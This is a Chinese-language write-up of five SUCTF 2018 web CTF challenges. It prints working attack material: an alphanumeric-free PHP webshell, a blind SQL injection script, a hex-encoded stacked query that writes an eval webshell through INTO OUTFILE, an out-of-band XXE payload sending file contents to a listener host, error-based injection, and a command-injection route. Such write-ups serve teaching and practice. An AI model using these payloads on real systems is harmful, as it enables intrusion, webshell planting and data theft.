SUCTF 2018 Web Writeup

0x01 Anonymous

这道题是HITCON2017一道题的删减版,拿Writeup里的payload即可获得flag

参考文章:https://lorexxar.cn/2017/11/10/hitcon2017-writeup/#baby-h-master-php-2017

0x02 Getshell

参考文章:https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html

if($contents=file_get_contents($_FILES["file"]["tmp_name"])){
    $data=substr($contents,5);
    foreach ($black_char as $b) {
        if (stripos($data, $b) !== false){
            die("illegal char");
        }
    }     
} 

先跑一下判断黑名单过滤了哪些字符

只剩下这几个字符还没被拦截,猜测是只过滤的字母数字跟部分符号,看到这个基本猜到要用无字母数字的方式构造webshell,还有一个~位运算符还可以利用,参考文章中的方法二,利用汉字然后取反获得所需要的字符

其实括号里边也可以不需要单引号的,部分人被困在这一步上。取反后的第一位是乱码不可见字符,我们就取第二个字符也就是索引1的字符来构造webshell

接下来就写个脚本,从汉字中选取我们需要利用的字符。这里用了p牛的一篇文章作为内容

生成出我们需要的汉字之后,开始构造webshell

<?php
    $__=[];
    $___=[];
    $_=$__==$___;//true = 1   用作索引
    
    $__=~(瞰);
    $___=$__[$_];//a
    $__=~(北);
    $___.=$__[$_].$__[$_];//ss
    $__=~(的);
    $___.=$__[$_];//e
    $__=~(半);
    $___.=$__[$_];//r
    $__=~(拾);
    $___.=$__[$_];//t
    
    $____=~(~(_));//_
    $__=~(说);
    $____.=$__[$_];//P
    $__=~(小);
    $____.=$__[$_];//O
    $__=~(次);
    $____.=$__[$_];//S
    $__=~(站);
    $____.=$__[$_];//T
    
    $_=$$____;
    $___($_[_]);
    
?>

使用的时候记得把我的注释删掉就能用了。最后将webshell上传即可,flag在根目录里

0x03 MultiSql

登录之后在用户信息有注入,常见的注入函数都被过滤了,所以只能写个盲注脚本跑,然后发现secure_file_priv的值为/var/www/

说明我们可以通过sql注入读取跟写入网站文件。之前的盲注脚本用字符逐位比较的方式觉得效率有点慢,而且部分不可见字符也没法读取出来,所以我将文件内容hex编码,而hex后只有0123456789abcdf,跑出一个字符最多只需要32次。最后将内容hex解码即可

import requests
import string
import binascii


hex = lambda s: binascii.hexlify(s)
char = '0123456789ABCDEF'
filename = '/var/www/html/bwvs_config/waf.php'
c = ''
url = 'http://web.suctf.asuri.org:85/user/user.php?id=128-if(hex(load_file(0x%s))like(0x%s),1,2)'

for _ in xrange(10000):
    for i in char:
        payload = c + i + '%'
        _url = url % (hex(filename), hex(payload))
        # print payload      
        #print _url
        r = requests.get(_url, cookies={'PHPSESSID': 'irv5n2c39anu25lfp5l42i7ld2'})
        if '127' in r.content:
            print '......' + payload
            c = c + i
            #if len(c) %2 == 0:
            #    print binascii.unhexlify(c)
            break
        # else:
            # print payload
        # print c

读取了头像上传文件,发现并没有什么利用点,在/bwvs_config/waf.php中发现过滤SQL注入的函数

function waf($str){
    $black_str = "/(and|or|union|sleep|select|substr|order|left|right|order|by|where|rand|exp|updatexml|insert|update|dorp|delete|[|]|[&])/i";
    $str = preg_replace($black_str, "@@",$str);
    return addslashes($str);
}

过滤的函数挺多的,最后读取/user/user.php

这个注入竟然用的是mysqli_multi_query函数,说明我们可以执行多行SQL语句,怎么一开始就没盲测出来呢。。。

既然waf函数过滤了select,可以用set跟hex编码的方式执行SQL语句,绕过过滤函数

set @num=0x73656c65637420757365722829;prepare t from @num;execute t;

然后经过into outfile方式将php文件写进网站目录

select 0x3c3f706870206576616c28245f524551554553545b273535333332275d293b3f3e into outfile '/var/www/html/favicon/wfox.php'

 再次hex编码->

set @num=0x73656c65637420307833633366373036383730323036353736363136633238323435663532343535313535343535333534356232373335333533333333333232373564323933623366336520696e746f206f757466696c6520272f7661722f7777772f68746d6c2f66617669636f6e2f77666f782e70687027;prepare t from @num;execute t;

写入shell成功,去根目录找flag即可。

0x04 HateIT

扫描发现/.git/目录,使用dvcs-ripper工具将git文件下载下来,发现只有一个README.md

看来得恢复文件,通过git log查看记录

通过git reset回滚版本

三个php文件都是通过扩展加密的,所以没法恢复,opcode.txt只有index.php,class.php,func.php的opcode代码,对着Zend Engine 2 操作码列表这个手册逆了一晚上,就缺少admin.php导致没法解题。最后第二天放了hint,拿到了suenc.so加密扩展文件,丢给团队的逆向牛搞定了解密文件。

下面附上解密出来的文件,index.php是我手逆的所以有点乱,其他文件我还是贴上解密后的吧。。

index.php

<?php
    if(!isset($_SESSION))
    {
        session_start();
    }
    
    echo '...这部分前端内容我就省略不贴了...';
    
    include_once('func.php');
    
    if(isset($_GET['username']))
    {
        $username = $_GET['username'];
        $md5 = md5(get_identify().$username);
        $admin = 0;
        $token = encrypt($username.'|'.$admin.'|'.$md5);
        $_SESSION['sign'] = $md5;
        $_SESSION['token'] = $token;
    }
    showImage();
    if(isset($_GET['token']) && isset($_GET['sign']))
    {
        $token = $_GET['token'];
        $sign = $_GET['sign'];
        echo 'sign : '.$sign.'<br>';
        echo 'token: '.$token.'<br>';
        $info = explode('|', decrypt($token));
        echo decrypt($token);
        var_dump($info);
        if(count($info) == 3)
        {
            if(md5(get_identify().$info[0]) == $info[2])
            {
                $sign = $info[1];
                $admin = $info[1];
            }else{
                $admin = $info[1];
            }
        }
        
    }else{
        if(isset($_SESSION['token']) && isset($_SESSION['sign']))
        {
            echo 'sign : '.$_SESSION['sign'].'<br>';
            echo 'token: '.$_SESSION['token'].'<br>';
            $token = $_SESSION['token'];
            $sign = $_SESSION['sign'];
            $info = explode('|', decrypt($token));
            if(count($info) == 3)
            {
                if(md5(get_identify().$info[0]) == $info[2])
                {
                    $sign = $info[1];
                    $admin = $info[1];
                    
                }else{
                    $admin = $info[1];
                }
                echo '<br>'.$admin;
            }
            
            
        }
    }
    if(isset($admin) && $admin == 3)
    {
        $_SESSION['auth'] = 'admin';
        echo "<a href='admin.php'>Admin</a>";
    }

func.php

<?php
/**
 * Created by PhpStorm.
 * User: meizj
 * Date: 2018/2/2
 * Time: 下午9:25
 */
include "class.php";
define("KEY","8690475385984657");
define("method","aes-128-cfb");
define("BS",16);
define("IDENTIFY","9850375038");

function get_token(){
    $token = '';
    for($i=0;$i<16;$i++){
        $token .= chr(rand(1,255));
    }
    return $token;
}
function enc($s){
    $token = get_token();
    $code1 = openssl_encrypt(string($s),method,key,OPENSSL_RAW_DATA,$token);
    $code2 = base64_encode(base64_encode($token."-".$code1));
    return $code2;
}
function dec($s)
{
    if($cc = base64_decode(base64_decode($s)))
    {
        if($iv = substr($cc,0,16))
        {
            if($d = substr($cc,17))
            {
                if($s = openssl_decrypt($d, method, key, OPENSSL_RAW_DATA,$iv))
                {
                    return $s;
                }
                else
                    die("error");
            }
            else
                return 0;
        }
        else
            return 0;
    }
    else
        return 0;
}

function uploadImage(){
    if($_SESSION['auth'] !== "admin"){
        die("Auth Failed");
    }
    $AllowedType = array(
        "png",
        "gif",
        "jpg"
    );
    $filename = $_FILES['file']['name'];
    $filesize = $_FILES['file']['size'];
    if($filesize > 1000000){
        exit("Too large");
    }
    $fileext = substr($filename, strrpos($filename, '.')+1);
    if(in_array($fileext,$AllowedType)){
        $file = "thumbs/images/".md5(time()."admin").".".$fileext;
        if(file_exists($file)){
            exit("File existed already");
        }else{
            move_uploaded_file($_FILES['file']['tmp_name'],$file);
        }
    }else{
        exit("Not Allowed Ext");
    }
}
function viewImage($name){
    if($_SESSION['auth'] !== "admin"){
        die("Auth Failed");
    }
    new ImageView($name);
}
function showImage(){
    $obj = new Home("thumbs/images/");
    $obj->showImg();

}
function to($str) {
    return $str . str_repeat(chr(BS - strlen($str) % BS), (BS - strlen($str) % BS));
}
function re($str) {
    return substr($str, 0, -ord(substr($str, -1, 1)));
}
function getkey(){
    return KEY;
}
function get_identify(){
    return IDENTIFY;
}
function encrypt($str){
    $key = getkey();
    srand(time() / 300);
    $token = get_token();
    $cipher = bin2hex(mcrypt_encrypt(MCRYPT_RIJNDAEL_128, $key, to($str), MCRYPT_MODE_CFB, $token));
    return base64_encode($cipher);
}
function decrypt($str){
    $decode = base64_decode($str);
    $key = getkey();
    srand(time() / 300);
    $token = get_token();
    $bin = hex2bin($str);
    $plain = re(mcrypt_decrypt(MCRYPT_RIJNDAEL_128, $key,$bin , MCRYPT_MODE_CFB, $token));
    return $plain;
}   

class.php

<?php
/**
 * Created by PhpStorm.
 * User: meizj
 * Date: 2018/2/2
 * Time: 下午11:00
 */
class ImageView{
    private $filename = "";
    function __construct($name){
        $this->filename = "images/$name";
        $this->createThumbnail();
    }
    function createThumbnail(){
        $e = stripcslashes(preg_replace('/[^0-9\\\]/','',isset($_GET['size'])?$_GET['size']:25));
        system("/usr/bin/convert {$this->filename} --resize $e ./thumbs/{$this->filename}");
    }
    function __toString()
    {
        // TODO: Implement __toString() method.
        return "<a href={$this->filename}>
                <img src=./thumbs/{$this->filename}></a>";
    }
}

class Home{
    private $dir = "";
    public function __construct($dir){
        $this->dir = $dir;
    }
    public function showImg(){
        $files = $this->getDirFile($this->dir);
        foreach ($files as $file){
            echo "<img src=$file>";
        }
    }
    public function getDirFile($dir){
        $files = array();
        if(!is_dir($dir)) {
            return $files;
        }
        $handle = opendir($dir);
        if($handle) {
            while(false !== ($file = readdir($handle))) {
                if ($file != '.' && $file != '..') {
                    $filename = $dir . "/"  . $file;
                    if(is_file($filename)) {
                        
                            $files[] = $filename;
                        
                    }else {
                        $files = array_merge($files, get_files($filename));
                    }
                }
            }   //  end while
            closedir($handle);
        }
        return $files;
    }

}

admin.php

<?php
/**
 * Created by PhpStorm.
 * User: meizj
 * Date: 2018/2/2
 * Time: 下午9:38
 */
session_start();
if($_SESSION['auth']!=="admin"){
    die("Auth Failed!");
}
include "func.php";
if(isset($_GET['action'])){
    $action = $_GET['action'];
    if($action == "uploadImage"){
        include_once "template/upload.php";
        if(isset($_FILES['file'])){
            uploadImage();
        }
    }elseif ($action == "viewImage"){
        $file = isset($_GET['file'])?$_GET['file']:"23.jpg";
        viewImage($file);
    }
}

先看index.php,这里会将$token解密,如果$admin==3就有权限访问admin.php,我们在本地生成加密token

$md5 = md5(get_identify().'aaaaaaaaaaaaaaaaaa');
$admin = 3;
$token = encrypt('aaaaaaaaaaaaaaaaaa|'.$admin.'|'.$md5);

echo $md5;
echo '||';
echo $token;

然后将生成的token跟sign去访问即可获得管理员权限

我在这里踩了一晚上的坑,因为我一直是用windows环境生成token,而windows跟linux的随机数是有差异的,导致加密的结果是错误的。心疼自己...

拿到管理员权限后接着看admin.php,文件上传好像是因为没有目录权限,一直上传不上东西,就算了。viewImage调用了ImageView类,最终通过调用系统命令的方式修改图片大小,这里没有对$filename进行过滤,直接拼接到命令执行中,构造payload执行命令

flag在/etc/flag/

0x05 Homework

这道题由于时间关系,赛后一小时才做出来,被上传文件的sig报错误导了很久。

show.php中,module表示要调用的类,args用作传参,这里用PHP自带的类SimpleXMLElement执行XXE攻击,但是在实际测试中发现,并不能解析实体,在高版本的libxml中,默认是不解析实体的,所以我们传入参数LIBXML_NOENT就能解析实体,但我们传参进去的是字符串而不是常量所以是用不了的,而LIBXML_NOENT的值为2,所以我们传入2即可。实测中发现挺多数字都可以正常解析实体,这个不深入研究。

参考链接:

  1. http://php.net/manual/zh/libxml.constants.php
  2. https://lightless.me/archives/Research-On-XXE.html

构造xxe payload,通过oob攻击获得回显

<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://ip/e.xml">
%remote;
]>
</root>

e.xml

<!ENTITY % payload SYSTEM        "php://filter/read=convert.base64-encode/resource=index.php">
<!ENTITY % int "<!ENTITY &#37; trick SYSTEM 'http://ip:1080/%payload;'>">
%int;
%trick;

构造payload发送

/show.php?module=SimpleXMLElement&args[]=%3C!DOCTYPE%20root%20%5B%0A%3C!ENTITY%20%25%20remote%20SYSTEM%20%22http%3A%2F%2Fip%3A9999%2Fe.xml%22%3E%0A%25remote%3B%0A%5D%3E%0A%3C%2Froot%3E&args[]=2

nc监听1080端口,成功获取到index.php内容,但这个文件并不是重点,重点看function.phpshow.php

function.php

<?php

function sql_result($sql,$mysql){
    if($result=mysqli_query($mysql,$sql)){
        $result_array=mysqli_fetch_all($result);
        return $result_array;
    }else{
         echo mysqli_error($mysql);
         return "Failed";
    }
}

function upload_file($mysql){
    if($_FILES){
        if($_FILES['file']['size']>2*1024*1024){
            die("File is larger than 2M, forbidden upload");
        }
        if(is_uploaded_file($_FILES['file']['tmp_name'])){
            if(!sql_result("select * from file where filename='".w_addslashes($_FILES['file']['name'])."'",$mysql)){
                $filehash=md5(mt_rand());
                if(sql_result("insert into file(filename,filehash,sig) values('".w_addslashes($_FILES['file']['name'])."','".$filehash."',".(strrpos(w_addslashes($_POST['sig']),")")?"":w_addslashes($_POST['sig'])).")",$mysql)=="Failed") die("Upload failed");
                $new_filename="./upload/".$filehash.".txt";
                move_uploaded_file($_FILES['file']['tmp_name'], $new_filename) or die("Upload failed");
                die("Your file ".w_addslashes($_FILES['file']['name'])." upload successful.");
            }else{
                $hash=sql_result("select filehash from file where filename='".w_addslashes($_FILES['file']['name'])."'",$mysql) or die("Upload failed");
                $new_filename="./upload/".$hash[0][0].".txt";
                move_uploaded_file($_FILES['file']['tmp_name'], $new_filename) or die("Upload failed");
                die("Your file ".w_addslashes($_FILES['file']['name'])." upload successful.");
            }
        }else{
            die("Not upload file");
        }
    }
}



function w_addslashes($string){
    return addslashes(trim($string));
}



function do_api($module,$args){
    $class = new ReflectionClass($module);
    $a=$class->newInstanceArgs($args);
}
?>

show.php

<?php
    include("function.php");
    include("config.php");
    include("calc.php");

    if(isset($_GET['action'])&&$_GET['action']=="view"){
        if($_SERVER["REMOTE_ADDR"]!=="127.0.0.1") die("Forbidden.");
        if(!empty($_GET['filename'])){
            $file_info=sql_result("select * from file where filename='".w_addslashes($_GET['filename'])."'",$mysql);
            $file_name=$file_info['0']['2'];
            echo("file code: ".file_get_contents("./upload/".$file_name.".txt"));
            $new_sig=mt_rand();
            sql_result("update file set sig='".intval($new_sig)."' where id=".$file_info['0']['0']." and sig='".$file_info['0']['3']."'",$mysql);
            die("<br>new sig:".$new_sig);
        }else{
            die("Null filename");
        }
    }

    $username=w_addslashes($_COOKIE['user']);
    $check_code=$_COOKIE['cookie-check'];
    $check_sql="select password from user where username='".$username."'";
    $check_sum=md5($username.sql_result($check_sql,$mysql)['0']['0']);
    if($check_sum!==$check_code){
        header("Location: login.php");
    }

    $module=$_GET['module'];
    $args=$_GET['args'];
    do_api($module,$args);
?>

show.php的view方法中,限制了ip只能是127.0.0.1,说明只能通过XXE去触发。这里根据filename获取数据库中的sig然后进行update操作,但没有对sig值进行过滤,导致二次注入。

再看一下function.php中的upload_file上传文件部分,首先他会判断filename是否存在,如果不存在就会插入数据库,这里sig没有用单引号保护,但是用了addslashes进行转义,而我们要插入二次注入的语句必须得有单引号,这个时候就可以用hex编码进行绕过。

因为sql_result函数中会输出sql错误,所以我们用updatexml函数进行报错注入。构造payload

'or updatexml(1,concat(0,substr((select flag from flag),1,32)),1)#

修改e.xml,获取http://127.0.0.1/show.php?action=view&filename=asczc.php的内容

<!ENTITY % payload SYSTEM        "php://filter/read=convert.base64-encode/resource=http://127.0.0.1/show.php?action=view&filename=asczc.php">
<!ENTITY % int "<!ENTITY &#37; trick SYSTEM 'http://ip:1080/%payload;'>">
%int;
%trick;

成功拿到报错注入的内容

file code: 123XPATH syntax error: 'SUCTF{L2DQVutviWff118oyKcDCp9393'<br>new sig:1231563907

因为flag长度比较长,所以分段读取,最后读到flag SUCTF{L2DQVutviWff118oyKcDCp9393GkmnNVFDGTsNvcy5hK9wQxpxMc}

标签: web, writeup, suctf
返回文章列表 文章二维码
本页链接的二维码
打赏二维码
评论列表
  1. [...]【作者:Wfox   原文链接 SUCTF 2018 Web Writeup】[...]

  2. [...]SecWiki News 2018-05-30 Review – xxx var maxwell_menu_title = "Navigation"; Skip to contentxxxxxx站点Sample Page五月 30, 2018 Sec-wikiSecWiki News 2018-05-30 Review Posted by admin insight: 洞察-应[...]

  3. [...]7.SUCTF 2018 Web Writeup[...]

  4. [...]7.SUCTF 2018 Web Writeup[...]

添加新评论